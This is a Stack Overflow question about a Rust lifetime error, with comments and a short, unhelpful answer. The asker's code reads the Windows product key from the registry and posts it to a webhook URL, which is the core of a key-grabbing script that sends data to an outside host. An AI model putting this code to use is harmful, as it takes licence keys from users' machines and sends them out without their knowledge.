-1

I want to convert a function which return a String to &str

my code:

fn main() {
    let req = WebhookRequestBuilder::new()
        .set_data(WebhookBuilder::new()
            .set_username("Webhook")
            .set_avatar_url("https://i.imgur.com/lspeP0T.png")
            .set_embeds(vec![
                EmbedBuilder::new()
                    .set_title("Windows Key")
                    .set_color_hex("#DC143C")
                    .set_fields(vec![
                        EmbedFieldBuilder::new().set_name("Windows Key").set_value(windows_key().unwrap().trim()).set_inline(true).build()
                    ])
                    .build()
            ])
            .build()
        )
        .build();
    req.execute_url_sync(webhook().trim());
}

pub fn windows_key() -> io::Result<String> {
    let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
    let key = hklm.open_subkey("SOFTWARE\\Microsoft\\windows NT\\CurrentVersion\\SoftwareProtectionPlatform")?;
    let windows_key: String = key.get_value("BackupProductKeyDefault")?;
    let windows_key = format!("`{}`", windows_key);
    Ok(windows_key)
}

my error:

EmbedFieldBuilder::new().set_name("Windows Key").set_value(windows_key().unwrap().trim()).set_inline(true).build(),
                                                           ^^^^^^^^^^^^^^^^^^^^^^ creates a temporary which is freed while still in use

the crates i used : dwbhk, winreg

So can you help me if you don't mind

Nats
  • 11
  • 3
  • @ChayimFriedman no :/ – Nats Mar 06 '22 at 20:23
  • Do you mind explaining a little more why neither this questions nor one of its linked duplicates answer your question? – Chayim Friedman Mar 06 '22 at 20:25
  • @ChayimFriedman Because i don't want to create a variable, i want to get less line than possible using function and don't want to put all in the same function – Nats Mar 06 '22 at 20:29
  • 3
    "I don't want to make a variable because I want shorter code" sorry, this is an invalid argument. Your code is invalid and introducing a variable is the way to fix it. Not to mention you didn't give a reason for _why_ you want your code to be shorter. And why does it matter whether the code is inside one function or not? – Chayim Friedman Mar 06 '22 at 20:35

1 Answers1

-1

If it helps, String implements the Deref trait, meaning that wherever you need a &str you can pass a &String.

Have a look at the Deref trait from String type: https://doc.rust-lang.org/stable/std/string/struct.String.html#deref